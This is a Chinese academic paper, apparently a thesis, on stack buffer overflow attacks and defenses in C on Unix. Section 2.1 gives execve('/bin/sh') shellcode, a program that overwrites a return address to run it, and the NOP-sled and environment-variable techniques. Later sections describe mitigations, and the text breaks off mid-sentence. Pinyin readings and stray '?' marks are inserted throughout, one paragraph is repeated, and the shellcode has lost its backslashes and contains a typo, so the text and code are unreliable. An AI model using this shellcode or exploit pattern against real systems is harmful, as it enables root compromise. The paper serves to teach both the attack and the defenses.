摘 要
隨著Internet及相關(guān)信息技術(shù)的迅速發(fā)展,網(wǎng)上的電子商務(wù)呈現(xiàn)出極大的增長勢頭,但是投入的增多意味著風(fēng)險(xiǎn)也隨之而來,網(wǎng)絡(luò)安全問題成為各種網(wǎng)上活動(dòng)需要考慮的頭等大事。
本文重點(diǎn)探討一下緩沖區(qū)溢出對(duì)計(jì)算機(jī)系統(tǒng)造成的危害。因?yàn)閹资陙恚彌_區(qū)溢出一直引起許多嚴(yán)重的安全性問題。近年由CERT/CC(Computer Emergency Response Term/Coodination Center)發(fā)布的忠告中關(guān)于緩沖區(qū)溢出漏洞占56.76%以上。
本文首先解釋了緩沖區(qū)溢出的概念,從程序語言本身存在缺陷,不夠健壯的角度出發(fā),對(duì)緩沖區(qū)溢出的原理進(jìn)行了詳細(xì)的闡述;再次,通過一個(gè)會(huì)導(dǎo)致緩沖區(qū)溢出的程序代碼對(duì)緩沖區(qū)溢出攻擊的產(chǎn)生進(jìn)行了實(shí)例分析,同時(shí)還對(duì)Unix操作系統(tǒng)下的緩沖區(qū)溢出攻擊進(jìn)行了有針對(duì)性的分析,并總結(jié)出緩沖區(qū)溢出攻擊的類型;最后,結(jié)合緩沖區(qū)溢出攻擊的類型,從系統(tǒng)管理和軟件開發(fā)兩個(gè)角度提出了緩沖區(qū)溢出攻擊的防范策略。
關(guān)鍵字:緩沖區(qū)溢出 攻擊
Abstract
With the development of Internet and information technology, the great growth has appeared out in E-Commerce. But this trend lead to more venture, network security issue has become the cardinal task that various kinds of online activity need to consider.
At present, the biggest problem on network is that computer software is usually not stalwart enough, sometimes such barrier will cause catastrophic result, especially when being utilized maliciously by the lawless person, the harm will hard to estimate.
Buffer overflow attacking is a seriously problem in network security and cause serious security problems in recently years. Some program language have pestilent bug, for example, C program language doesn’t check the border of the array of number is apt to cause the buffer overflow, and therefore possibly cause the failure of program processing and paralysis of computer.
This paper analysis deeply the principle and possible of buffer overflow attacking, and point out buffer overflow’s potential dangers. At last, according to the kinds of buffer overflow attacking, I put forward my own opinion of precautionary measures on buffer overflow attacking.
Key Words: buffer overflow attacking
一 緩沖區(qū)與出的概念及原理
1.1何謂緩沖區(qū)溢出
緩沖區(qū)是用戶為程序運(yùn)行時(shí)在計(jì)算機(jī)中申請(qǐng)得的一段連續(xù)的內(nèi)存,它保存了給定類型的數(shù)據(jù)。緩沖區(qū)溢出指的是一種常見且危害很大的系統(tǒng)攻擊手段,通過向程序的緩沖區(qū)寫入超出其長度的內(nèi)容,造成緩沖區(qū)的溢出,從而破壞程序的堆棧,使程序轉(zhuǎn)而執(zhí)行其他的指令,以達(dá)到攻擊的目的。
1.2緩沖區(qū)溢出的原理
從上面的緩沖區(qū)溢出概念可以看出,緩沖區(qū)溢出就是將一個(gè)超過緩沖區(qū)長度的字符串置入緩沖區(qū)的結(jié)果,這是由于程序設(shè)計(jì)語言的一些漏洞,如C/C++語言中,不對(duì)緩沖區(qū)、數(shù)組及指針進(jìn)行邊界檢查,(strcpy()、strcat()、sprintf()、gets()等語句),在程序員也忽略對(duì)邊界進(jìn)行檢查而向一個(gè)有限空間的緩沖區(qū)中置入過長的字符串可能會(huì)帶來兩種結(jié)果:一是過長的字符串覆蓋了相鄰的存儲(chǔ)單元,引起程序運(yùn)行失敗,嚴(yán)重的可導(dǎo)致系統(tǒng)崩潰;另一種后果是利用這種漏洞可以執(zhí)行任意指令,甚至可以取得系統(tǒng)特權(quán),由此而引發(fā)多種攻擊方法。
緩沖區(qū)溢出對(duì)系統(tǒng)的安全性帶來很大的威脅,比如向程序的有限空間的緩沖區(qū)中置入過長的字符串,造成緩沖區(qū)溢出,從而破壞程序的堆棧,使程序轉(zhuǎn)去執(zhí)行其他的指令,如果這些指令是放在有Root權(quán)限的內(nèi)存里,那么一旦這些指令得到了運(yùn)行,入侵者就以Root的權(quán)限控制了系統(tǒng),這也是我們所說的U2R(User to Root Attacks)攻擊。例如在Unix系統(tǒng)中,使用一些精心編寫的程序,利用SUID程序(如FDFORMAT)中存在的緩沖區(qū)溢出錯(cuò)誤就可以取得系統(tǒng)超級(jí)用戶權(quán)限,在Unix取得超級(jí)用戶權(quán)限就意味著黑客可以隨意控制系統(tǒng)。為了避免這種利用程序設(shè)計(jì)語言漏洞而對(duì)系統(tǒng)的惡意攻擊,我們必須要仔細(xì)分析緩沖區(qū)溢出攻擊的產(chǎn)生及類型,從而做出相應(yīng)的防范策略。
二 緩沖區(qū)溢出攻擊的分析
2.1緩沖區(qū)溢出攻擊的產(chǎn)生
C編程語言中,靜態(tài)變量分配在數(shù)據(jù)段中,動(dòng)態(tài)變量分配在堆棧段中,C語言允許程序員在運(yùn)行時(shí)在內(nèi)存的兩個(gè)不同部分(堆棧和堆)中創(chuàng)建存儲(chǔ)器。通常,分配到堆的數(shù)據(jù)是那些malloc()或新建時(shí)獲得的數(shù)據(jù),而分配到堆棧的數(shù)據(jù)一般包括非靜態(tài)的局部變量和所有按值傳遞的參數(shù)。大部分其它信息存儲(chǔ)在全局靜態(tài)存儲(chǔ)器中。一個(gè)程序在內(nèi)存中通常分為程序段、數(shù)據(jù)段和堆棧三個(gè)部分。程序段里為程序的機(jī)器碼和只讀數(shù)據(jù),這個(gè)段通常是只讀代碼,故禁止對(duì)程序段進(jìn)行寫操作。數(shù)據(jù)段放的是程序中的靜態(tài)數(shù)據(jù)。
存儲(chǔ)器主要分為三個(gè)部分,一是文本區(qū)域,即程序區(qū),用來存儲(chǔ)程序指令,只讀屬性;二是數(shù)據(jù)區(qū)域,它的大小可以由brk()系統(tǒng)調(diào)用來改變;三是堆棧,其特點(diǎn)是LIFO(last in, first out)。當(dāng)C程序調(diào)用函數(shù)的時(shí)候,首先將參數(shù)壓入堆棧,然后保存指令寄存器(IP)中的內(nèi)容作為返回地址(RET),放入堆棧的是地址寄存器(FP),然后把當(dāng)前的棧指針(SP)拷貝到FP,作為新的基地址,并為本地變量留出一定的空間,把SP減去適當(dāng)?shù)臄?shù)值。計(jì)算機(jī)執(zhí)行一條指令,并保留指向下一條指令的指針(IP)。當(dāng)函數(shù)或過程被調(diào)用的時(shí)候,在堆棧中被保留下來的指令指針將被作為返回地址(RET)。執(zhí)行完成后,RET替換IP,程序接著繼續(xù)執(zhí)行本來的流程。
這里有一個(gè)直觀的緩沖區(qū)溢出的小例子:
void function(char *str)
{
char buffer[16];
strcpy(buffer, str);
}
Void main()
{
int I;
char buffer[128];
for(I=0; I<127; I++)
buffer[I]=A;
buffer[127]=0;
function(buffer);
printf(“This is a test.n”);
}
在函數(shù)function中,將一個(gè)128字節(jié)長度的字符串拷貝到只有16字節(jié)長的局部緩沖區(qū)中。在使用strcpy()函數(shù)前,沒有進(jìn)行緩沖區(qū)邊界檢查,導(dǎo)致從buffer開始的256個(gè)字節(jié)都將被*str的內(nèi)容A覆蓋,包括堆棧指針和返回地址,甚至*str都將被A覆蓋。
再看看堆棧的結(jié)構(gòu),由于棧式內(nèi)存分配具有一條指令即可為子程序分配全部局部變量的存儲(chǔ)空間的特點(diǎn),分配和去配的開銷極低,高級(jí)語言通常在堆棧上分配局部存儲(chǔ)空間。同時(shí),堆棧也被用來存放子程序的返回地址。對(duì)C語言來說,調(diào)用函數(shù)的語句f(arg1,arg2,…,argn)被翻譯為如下指令:
push argn
…….
push arg1
push n
call f
而函數(shù)的入口則翻譯為如下入口指令(在Intel X86上)
pushl ebp
mov esp,ebp
sub esp,m #m為f的局部變量的空間大小
在Intel X86體系結(jié)構(gòu)上,堆棧是從上向下生長的,因此調(diào)用以上函數(shù)時(shí)的堆棧結(jié)構(gòu)如圖1所示:
arg1
|
……
|
argn
|
n
|
返回地址
|
ebp
|
局部變量
|
高地址
低地址圖1 堆棧結(jié)構(gòu)圖
例如,調(diào)用以下函數(shù)時(shí)
Void f(char *src)
{ char dest[4];
memcpy(dest, src,12);
}
堆棧及變量的位置如圖2所示:
src
|
l
|
返回地址
|
ebp
|
dest[3]
|
dest[2]
|
dest[1]
|
dest[0]
|
高地址
低地址
圖2 堆棧及位置的變量圖
從堆棧結(jié)構(gòu)可以看到,當(dāng)用精心準(zhǔn)備好的地址改寫返回地址時(shí),即可把控制流程引向自己的代碼。C2級(jí)操作系統(tǒng)提供了進(jìn)程空間的隔離機(jī)制,因此,利用緩沖區(qū)溢出攻擊可以在別的進(jìn)程上下文中執(zhí)行自己的代碼,從而繞過操作系統(tǒng)的安全機(jī)制,下面是一個(gè)例子:
Void main()
{
char *str[2]={”/bin/sh”,0};
exec (“/bin/sh”,str,0);
}
編譯后反編譯,并加以整理,得到與以上程序等價(jià)的機(jī)器碼:
“xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00”
“x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80”
“xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff”
“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3”
事例程序如下:
/ test /
char shellcode[]=
{“xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00”
“x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80”
“xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff”
“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3”};
void f(char *src)
{
char dest[4];
memcpy(dest,src,12);
}
void main()
{
int shellentry[3];
shellentry[0]=(int)shellcode;
shellentry[1]=(int)shellcode;
shellentry[2]=(int)shellcode;
f(shellentry);
}
由以上程序可以看出緩沖區(qū)溢出攻擊的關(guān)鍵:因?yàn)閙emcpy并不檢驗(yàn)邊界,所以dest溢出時(shí),使shellcode的地址覆蓋了子程序的返回地址,當(dāng)子程序執(zhí)行ret指令時(shí),CPU的指令指針寄存器EIP指向shellcode,從而執(zhí)行shellcode。
這里討論一個(gè)現(xiàn)實(shí)中的Unix環(huán)境下,利用緩沖區(qū)溢出的到一個(gè)Shell的行攻擊方法的實(shí)現(xiàn)。其中,S代表Shellcode,A代表填寫的返回地址,由于Shellcode在虛地址的高端,所以這個(gè)返回地址(32bit)一般不會(huì)含有零字節(jié):
(1) 啟動(dòng)一個(gè)一個(gè)Shell的代碼——Shellcode的獲得
通常的獲得方法是先用高級(jí)語言編寫同樣功能的程序,然后用調(diào)試工具抽取必須的二進(jìn)制代碼。高級(jí)語言程序如下:
shellcode.c
#include<stdio.h>
void main()
{
char *name[2];
name[0]=”bin/sh”;
name[1]=NULL;
execve(name[0],name,NULL);
exit(0);
}
把上述程序編譯之后,可以用gdb得到上面程序的匯編代碼及二進(jìn)制代碼,適當(dāng)優(yōu)化后即可得到二進(jìn)制的Shellcode。
這里要解決的一個(gè)問題是,無論Shellcode被裝置到內(nèi)存的什么位置,字符串“/bin/sh”的地址都可以得到。解決方法是在“/bin/sh”之前加一條CALL指令,這樣當(dāng)CALL被執(zhí)行時(shí),“/bin/sh”的地址將被自動(dòng)壓入堆棧,緊接著用一條popl指令即可獲得這個(gè)地址。
Shellcode的結(jié)構(gòu)如下:(J代表JMP指令,C代表CALL指令,S代表啟動(dòng)Shell的代碼,s代表串“/bin/sh”,A指向Shellcode的起始地址)。
SCO Unix下的Shellcode的匯編代碼如下:
Jmp 0x2a # 3 bytes # 跳到CALL指令處
Popl %esi # 1 byte # 把由CALL指令壓入堆棧的串 # 地址送到esi
movl %esi, 0x8(%esi) # 3 bytes
movb $0x0, 0x7(%esi) # 4 bytes
movl $0x0, 0xc(%esi) # 7 bytes
movl $0xb, %eax # 5 bytes
movl %esi, %ebx # 2 bytes # 執(zhí)行execve(name[0],name,NULL);
leal 0x8(%esi) , %ecx # 3 bytes
leal 0xc(%esi) , %edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1,%eax # 5 bytes #執(zhí)行exit(0)
movl $0x0,%ebx # 5 bytes
int $0x80 # 2 bytes
call –0x2f # 5 bytes #跳到popl %esi指令處
.string ”/bin/sh” # 8 bytes
利用gdb的x命令可以得到上述匯編代碼的二進(jìn)制代碼。
(2) 猜測被溢出的緩沖區(qū)的位置
有了shellcode還不夠,在溢出一個(gè)緩沖區(qū)時(shí),還必須使被溢出的返回地址正確指向shellcode。在Unix環(huán)境下,當(dāng)我們?nèi)ヒ绯隽硗庖粋(gè)程序的沒有邊界檢查的buffer時(shí),通常只會(huì)得到一個(gè)Segmentation fault(段錯(cuò)誤),程序退出,再?zèng)]有其他信息。這就是由于返回地址不正確引起的。
為了正確獲得溢出的緩沖區(qū)在堆棧的位置,所以需要推測shellcode的起始位置,即被溢出的緩沖區(qū)buffer的位置。Unix環(huán)境下,每個(gè)進(jìn)程啟動(dòng)時(shí)的初始堆棧的虛存位置時(shí)一樣的。利用下面的程序可以近似的得到這個(gè)位置(在環(huán)境變量不同、傳入的命令行參數(shù)不同時(shí),這個(gè)值略有變動(dòng)):
unsigned long get_esp(void)
{
_asm_(“movl %esp,%eax”);
}
void main(void)
{
printf(“0x%xn”,get_esp());
}
通常,進(jìn)程運(yùn)行時(shí)向堆棧中寫入的數(shù)據(jù)不會(huì)超過數(shù)百個(gè)字節(jié)或數(shù)千個(gè)字節(jié),有了這個(gè)起始地址,用簡單的一個(gè)個(gè)嘗試的方法也是可以攻擊的。但顯然這不是一種效率高的方法。解決的辦法是在緩沖區(qū)前端填充幾百字節(jié)NOP指令,只要猜測的地址落在NOP指令序列中,仍可以執(zhí)行shellcode,從而成倍地增加猜中的機(jī)會(huì)。
(3) 攻擊代碼中字節(jié)代碼為零的消除
Unix的程序中大量使用了strcpy函數(shù),shellcode中含有0x00,由于通常是攻擊一個(gè)字符緩沖區(qū),如果攻擊代碼中含有0,則它會(huì)被當(dāng)成字符串的結(jié)尾處理,于是攻擊代碼被截?cái)。消除的方法是?duì)代碼做適當(dāng)?shù)淖儞Q,因此在這里需要使用一些匯編程序設(shè)計(jì)技巧,把shellcode轉(zhuǎn)換成不含0x00的等價(jià)代碼。
(4)被攻擊的緩沖區(qū)很小的情況
當(dāng)緩沖區(qū)太小,可能使NOP部分或shellcode部分覆蓋返回地址ret,導(dǎo)致緩沖區(qū)起址到返回地址的距離不足以容納shellcode,這樣設(shè)定的跳轉(zhuǎn)地址就沒有用上,攻擊代碼不能被正確執(zhí)行。
一個(gè)方法就是利用環(huán)境變量。當(dāng)一個(gè)進(jìn)程啟動(dòng)時(shí),環(huán)境變量被映射到進(jìn)程堆?臻g的頂端。這樣就可以把攻擊代碼(NOP串+Shellcode)放到一個(gè)環(huán)境變兩中,而在被溢出的緩沖區(qū)中填上攻擊代碼的地址。比如,可以把shellcode放在環(huán)境變量中,并把環(huán)境變量傳入到要攻擊的程序中,就可以對(duì)有緩沖區(qū)溢出漏洞的程序進(jìn)行攻擊。利用這樣方法,還可以設(shè)計(jì)很大的攻擊代碼。
2.2緩沖區(qū)溢出攻擊的類型
緩沖區(qū)溢出的目的在于擾亂具有某些特權(quán)運(yùn)行程序的功能,這樣就可以讓攻擊者取得程序的控制權(quán),如果該程序具有足夠的權(quán)限,那么整個(gè)主機(jī)甚至服務(wù)器就被控制了。一般而言,攻擊者攻擊root程序,然后執(zhí)行類似“exec(sh)”的執(zhí)行代碼來獲得root的shell。但并不總是這樣,為了達(dá)到這個(gè)目的,攻擊者必須達(dá)到如下兩個(gè)目標(biāo):
l 在程序的地址空間里安排適當(dāng)?shù)拇a
l 通過適當(dāng)?shù)爻跏蓟拇嫫骱痛鎯?chǔ)器,讓程序跳轉(zhuǎn)到安排好的地址空間執(zhí)行。
我們可以根據(jù)這兩個(gè)目標(biāo)來對(duì)緩沖區(qū)溢出攻擊進(jìn)行分類。
1.在程序的地址空間里安排適當(dāng)?shù)拇a有兩種在被攻擊程序地址空間里安排攻擊代碼的方法:
(1) 植入法:
攻擊者向被攻擊的程序輸入一個(gè)字符串,程序會(huì)把這個(gè)字符串放到緩沖區(qū)里。這個(gè)字符串所包含的數(shù)據(jù)是可以在這個(gè)被攻擊的硬件平臺(tái)運(yùn)行的指令流。在這里攻擊者用被攻擊程序的緩沖區(qū)來存放攻擊代碼,具體方式有以下兩種差別:
a.攻擊者不必為達(dá)到此目的而溢出任何緩沖區(qū),可以找到足夠的空間來放置攻擊代碼;
b.緩沖區(qū)可設(shè)在任何地方:堆棧(存放自動(dòng)變量)、堆(動(dòng)態(tài)分配區(qū))和靜態(tài)數(shù)據(jù)區(qū)(初始化或未初始化的數(shù)據(jù))。
(2) 利用已經(jīng)存在的代碼
有時(shí)候攻擊者所要的代碼已經(jīng)存在于被攻擊的程序中了,攻擊者所要做的只是對(duì)代碼傳遞一些參數(shù),然后使程序跳轉(zhuǎn)到想要執(zhí)行的代碼那里。比如,共及代碼要求執(zhí)行“exec(‘bin/sh’)”,而在libc庫中的代碼執(zhí)行“exec(arg)”,其中arg是一個(gè)指向字符串的指針參數(shù),那么攻擊者只要把傳入的參數(shù)指針改向指向“/bin/sh”,然后調(diào)轉(zhuǎn)到libc庫中相應(yīng)的指令序列即可。
2.控制程序轉(zhuǎn)移到攻擊代碼的方法
所有這些方法都是在試圖改變程序的執(zhí)行流程,使之跳轉(zhuǎn)到攻擊代碼。其基本特點(diǎn)就是給沒有邊界檢查或有其他弱點(diǎn)的程序送出一個(gè)超長的緩沖區(qū),以達(dá)到擾亂程序正常執(zhí)行順序的目的。通過溢出一個(gè)緩沖區(qū),攻擊者可以用幾乎暴力的方法(窮盡法)改寫相鄰的程序空間面直接跳過系統(tǒng)的檢查。
這里的分類基準(zhǔn)是攻擊者所尋求的緩沖區(qū)溢出的程序空間類型。原則上可以是任意的空間。比如起初的Morris Worm(莫爾斯蠕蟲)就是使用了fingerd程序的緩沖區(qū)溢出,擾亂fingerd要執(zhí)行的文件的名字。實(shí)際上許多的緩沖區(qū)溢出是用暴力的方法來尋求改變程序指針的。這類程序不同的地方就是程序空間的突破和內(nèi)存空間的定位不同。一般來說,控制程序轉(zhuǎn)移到攻擊代碼的方法有以下幾種:
(1) 函數(shù)返回地址
每當(dāng)一個(gè)函數(shù)調(diào)用發(fā)生時(shí),調(diào)用者會(huì)在堆棧中留下函數(shù)返回地址,它包含了函數(shù)結(jié)束時(shí)返回的地址。攻擊者通過溢出這些自動(dòng)變量,使這個(gè)返回地址指向攻擊代碼,這樣就通過改變程序的返回地址,當(dāng)函數(shù)調(diào)用結(jié)束時(shí),程序跳轉(zhuǎn)到攻擊者設(shè)定的地址,而不是原先的地址。這類的緩沖區(qū)進(jìn)出被稱為“stack smashing attack”,是目前常用的緩沖區(qū)溢出攻擊方式。
(2) 函數(shù)指針
“Void(*foo)()”中聲明了一個(gè)返回值為Void函數(shù)指針的變量foo。函數(shù)指針定位任何地址空間,所以攻擊者只需在任何空間內(nèi)的函數(shù)指針附近找到一個(gè)能夠溢出的緩沖區(qū),然后溢出來改變函數(shù)指針,當(dāng)程序通過函數(shù)指針調(diào)用函數(shù)時(shí),程序的流程就會(huì)發(fā)生改變而實(shí)現(xiàn)攻擊者的目的。
(3) 長跳轉(zhuǎn)緩沖區(qū)
在C語言中包含了一個(gè)簡單的檢驗(yàn)/恢復(fù)系統(tǒng),稱為“setjmp/longjmp”,意思是在檢驗(yàn)點(diǎn)設(shè)定“setjmp(buffer)”,用longjmp(buffer)“來恢復(fù)檢驗(yàn)點(diǎn)。然而,如果攻擊時(shí)能夠進(jìn)入緩沖區(qū)的空間,那么“l(fā)ongjmp(buffer)”實(shí)際上是跳轉(zhuǎn)到攻擊者的代碼。像函數(shù)指針一樣,longjmp緩沖區(qū)能夠指向任何地方,所以攻擊者所要做的就是找到一個(gè)可供溢出的緩沖區(qū)。一個(gè)典型的例子就是Perl 5.003,攻擊者首先進(jìn)入用來恢復(fù)緩沖區(qū)溢出的longjmp緩沖區(qū),然后誘導(dǎo)進(jìn)入恢復(fù)模式,這樣就使Perl的解釋器跳轉(zhuǎn)到攻擊代碼上了。
3.綜合代碼植入和流程控制技術(shù)
最簡單和常見的溢出緩沖區(qū)攻擊類型就是在一個(gè)字符串里綜合了代碼植入和激活記錄。攻擊者定位一個(gè)可供溢出的自動(dòng)變量,然后向程序傳遞一個(gè)很大的字符串,在引發(fā)緩沖區(qū)溢出改變激活記錄的同時(shí)植入了代碼(因?yàn)镃語言程序員通常在習(xí)慣上只為用戶和參數(shù)開辟很小的緩沖區(qū))。
代碼植入和緩沖區(qū)溢出不一定要在一次動(dòng)作內(nèi)完成,攻擊者可以在一個(gè)緩沖區(qū)內(nèi)放置代碼(這個(gè)時(shí)候并不能溢出緩沖區(qū)),然后攻擊者通過溢出另一個(gè)緩沖區(qū)來轉(zhuǎn)移程序的指針。這樣的方法一般用來解決可供溢出的緩沖區(qū)不夠大(不能放下全部的代碼)。如果攻擊者試圖使用已經(jīng)常駐的代碼而不是從外部植入代碼,他們通常必須把代碼做為參數(shù)。舉例說明,在libc(幾乎所有的C程序都用它來連接)中的一部分代碼段會(huì)執(zhí)行“exec(something)”,其中的something就是參數(shù),攻擊者使用緩沖區(qū)溢出改變程序的參數(shù),然后利用另一個(gè)緩沖區(qū)溢出,使程序指針指向libc中的特定的代碼段。
三 緩沖區(qū)溢出攻擊的防范策略
緩沖區(qū)溢出攻擊的防范是和整個(gè)系統(tǒng)的安全性分不開的。如果整個(gè)網(wǎng)絡(luò)系統(tǒng)的安全設(shè)計(jì)很差,則遭受緩沖區(qū)溢出攻擊的機(jī)會(huì)也大大增加。針對(duì)緩沖區(qū)溢出,我們可以采取多種防范策略。
1.系統(tǒng)管理上的防范策略
(1) 關(guān)閉不需要的特權(quán)程序
由于緩沖區(qū)溢出只有在獲得更高的特權(quán)時(shí)才有意義,所以帶有特權(quán)的Unix
下的suid程序和Windows下由系統(tǒng)管理員啟動(dòng)的服務(wù)進(jìn)程都經(jīng)常是緩沖區(qū)溢出攻擊的目標(biāo)。這時(shí)候,關(guān)閉一些不必要的特權(quán)程序就可以降低被攻擊的風(fēng)險(xiǎn)。如Solaris下的fdformat是個(gè)有緩沖區(qū)溢出漏洞的suid程序,因?yàn)檫@個(gè)格式化軟盤的命令用的較少,最直接的措施是去掉這個(gè)程序或者去掉suid位。當(dāng)有緩沖區(qū)溢出漏洞的程序還沒有補(bǔ)丁時(shí),就可以用這種方法。
(2) 及時(shí)給程序漏洞打補(bǔ)丁
這是漏洞出現(xiàn)后最迅速有效的補(bǔ)救措施。大部分的入侵是利用一些已被公布的漏洞達(dá)成的,如能及時(shí)補(bǔ)上這些漏洞,無疑極大的增強(qiáng)了系統(tǒng)抵抗攻擊的能力。
這兩種措施對(duì)管理員來說,代價(jià)都不是很高,但能很有效地防止住大部分的攻擊企圖。
2.軟件開發(fā)過程中的防范策略
發(fā)生緩沖區(qū)溢出的主要及各要素是:數(shù)組沒有邊界檢查而導(dǎo)致的緩沖區(qū)溢出;函數(shù)返回地址或函數(shù)指針被改變,使程序流程的改變成為可能;植入代碼被成功的執(zhí)行等等。
所以針對(duì)這些要素,從技術(shù)上我們就可以采取一定的措施。
(1)編寫正確的代碼
只要我們在所有拷貝數(shù)據(jù)的地方進(jìn)行數(shù)據(jù)長度和有效性的檢查,確保目標(biāo)緩沖區(qū)中數(shù)據(jù)不越界并有效,則就可以避免緩沖區(qū)溢出,更不可能使程序跳轉(zhuǎn)到惡意代碼上。但是諸如C/C++自身是一種不進(jìn)行強(qiáng)類型和長度檢查的一種程序設(shè)計(jì)語言,而程序員在編寫代碼時(shí)由于開發(fā)速度和代碼的簡潔性,往往忽視了程序的健壯性,從而導(dǎo)致緩沖區(qū)溢出,因此我們必須從程序語言和系統(tǒng)結(jié)構(gòu)方面加強(qiáng)防范。
很多不安全程序的出現(xiàn)是由于調(diào)用了一些不安全的庫函數(shù),這些庫函數(shù)往往沒有對(duì)數(shù)組邊界進(jìn)行檢查。這些函數(shù)有strcpy()、sprintf()、strcat()等,所以一種簡單的方法是利用grep搜索源程序,找出對(duì)這些函數(shù)的調(diào)用,然后代以更安全的函數(shù),如strncpy()替換strcpy()。進(jìn)一步的查找可以是檢查更廣范圍的不安全操作,如在一個(gè)不定循環(huán)中對(duì)數(shù)組的賦值等。
可用的另一種措施是漏洞探測。利用一些工具,人為隨機(jī)地產(chǎn)生一些緩沖區(qū)溢出來尋找代碼的安全漏洞。已有這方面的一些高級(jí)的查錯(cuò)工具,如fault injection等。
(2)緩沖區(qū)不可執(zhí)行
通過使被攻擊程序的數(shù)據(jù)段地址空間不可執(zhí)行,從而使得攻擊者不可能執(zhí)行被植入被攻擊程序輸入緩沖區(qū)的代碼,這種技術(shù)被稱為緩沖區(qū)不可執(zhí)行技術(shù)。事實(shí)上,很多老的Unix系統(tǒng)都是這樣設(shè)計(jì)的,但是近來的Unix和MS Windows系統(tǒng)為實(shí)現(xiàn)更好的性能和功能,往往在數(shù)據(jù)段中動(dòng)態(tài)地放入可執(zhí)行的代碼。所以為了保持程序的兼容性不可能使得所有程序的數(shù)據(jù)段不可執(zhí)行。但是我們可以設(shè)定堆棧數(shù)據(jù)段不可執(zhí)行,這樣就可以最大限度地保證了程序的兼容性。Linux和Solaris都發(fā)布了有關(guān)這方面的內(nèi)核補(bǔ)丁。因?yàn)閹缀鯖]有任何合法的程序會(huì)在堆棧中存放代碼,這種做法幾乎不產(chǎn)生任何兼容性問題。
通過使被攻擊程序的數(shù)據(jù)段地址空間不可執(zhí)行,從而使得攻擊者不可能執(zhí)行被殖入被攻擊程序輸入緩沖區(qū)的代碼,這種技術(shù)被稱為非執(zhí)行的緩沖區(qū)技術(shù)。事實(shí)上,很多老的Unix系統(tǒng)都是這樣設(shè)計(jì)的,但是近來的Unix和MS Windows系統(tǒng)由于實(shí)現(xiàn)更好的性能和功能,往往在在數(shù)據(jù)段中動(dòng)態(tài)地放入可執(zhí)行的代碼。所以為了保持程序的兼容性不可能使得所有程序的數(shù)據(jù)段不可執(zhí)行。
Linux和Solaris也發(fā)布了有關(guān)這方面的內(nèi)核補(bǔ)丁。因?yàn)閹缀鯖]有任何合法的程序會(huì)在堆棧中存放代碼,這種做法幾乎不產(chǎn)生任何兼容性問題,除了在Linux中的兩個(gè)特例,這時(shí)可執(zhí)行的代碼必須被放入堆棧中:
a.信號(hào)傳遞:
Linux通過向進(jìn)程堆棧釋放代碼然后引發(fā)中斷來執(zhí)行在堆棧中的代碼來實(shí)現(xiàn)向進(jìn)程發(fā)送Unix信號(hào)。非執(zhí)行緩沖區(qū)的補(bǔ)丁在發(fā)送信號(hào)的時(shí)候是允許緩沖區(qū)可執(zhí)行的。
b.GCC的在線重用:
研究發(fā)現(xiàn)gcc在堆棧區(qū)里放置了可執(zhí)行的代碼作為在線重用之用。然而,關(guān)閉這個(gè)功能并不產(chǎn)生任何問題,只有部分功能似乎不能使用。
非執(zhí)行堆棧的保護(hù)可以有效地對(duì)付把代碼植入自動(dòng)變量的緩沖區(qū)溢出攻擊,而對(duì)于其他形式的攻擊則沒有效果。通過引用一個(gè)駐留的程序的指針,就可以跳過這種保護(hù)措施。其他的攻擊可以采用把代碼殖入堆或者靜態(tài)數(shù)據(jù)段中來跳過保護(hù)。
(3)改進(jìn)C語言函數(shù)庫
C語言中存在緩沖區(qū)溢出攻擊隱患的系統(tǒng)函數(shù)有很多。例如gets(),sprintf(),strcpy(),strcat(),fscanf(),scanf(),vsprintf()等?梢蚤_發(fā)出更安全的封裝了若干已知易受堆棧溢出攻擊的庫函數(shù)。修改后的庫函數(shù)實(shí)現(xiàn)了原有功能,但在某種程度上可以確保任一緩沖區(qū)溢出都被控制在現(xiàn)有堆棧幀之內(nèi)。
(4)數(shù)組邊界檢查
可以說緩沖區(qū)溢出的根本原因是沒有數(shù)組邊界檢查,當(dāng)數(shù)組被溢出的時(shí)候,一些關(guān)鍵的數(shù)據(jù)就有可能被修改,比如函數(shù)返回地址、過程幀指針、函數(shù)指針等。同時(shí),攻擊代碼也可以被植入。
因此,對(duì)數(shù)組進(jìn)行邊界檢查,使超長代碼不可能植入,這樣就完全沒有了緩沖區(qū)溢出攻擊產(chǎn)生的條件。只要數(shù)組不能被溢出,溢出攻擊就無從談起。
為了實(shí)現(xiàn)數(shù)組邊界檢查,則所有的對(duì)數(shù)組的讀寫操作都應(yīng)當(dāng)被檢查,以確保對(duì)數(shù)組的操作在正確的范圍內(nèi)。最直接的方法是檢查所有的數(shù)組操作,但是會(huì)使性能下降很多,通?梢圆捎靡恍﹥(yōu)化的技術(shù)來減少檢查的次數(shù)。
(5)使堆棧向高地址方向增長
緩沖區(qū)溢出的一個(gè)重要要素是植入的代碼成功地被執(zhí)行。最常見的是被植入的代碼放在堆棧區(qū)中。通過修改操作系統(tǒng)核心,在核心層引入保護(hù)機(jī)制,限制代碼在堆棧區(qū)的執(zhí)行,這樣,緩沖區(qū)溢出攻擊就不可能成功。
到目前為止,我們討論利用函數(shù)返回地址控制程序轉(zhuǎn)移到攻擊代碼的攻擊方法時(shí),有一個(gè)基本的前提,那就是當(dāng)堆棧被壓入數(shù)據(jù)時(shí),棧頂向低地址方向增長,只有這樣,緩沖區(qū)溢出時(shí)才可能覆蓋低地址處的函數(shù)返回地址指針,從而控制程序轉(zhuǎn)移到攻擊代碼。如果我們使用的機(jī)器堆棧壓入數(shù)據(jù)時(shí)向高地址方向前進(jìn),那么無論緩沖區(qū)如何溢出,都不可能覆蓋低地址處的函數(shù)返回地址指針,也就避免了緩沖區(qū)溢出攻擊。但是這種方法仍然無法防范利用堆和靜態(tài)數(shù)據(jù)段的緩沖區(qū)進(jìn)行溢出的攻擊。
(6)程序指針完整性檢查
程序指針完整性檢查是針對(duì)上述緩沖區(qū)溢出的另一個(gè)要素——阻止由于函數(shù)返回地址或函數(shù)指針的改變而導(dǎo)致的程序執(zhí)行流程的改變。它的原理是在每次
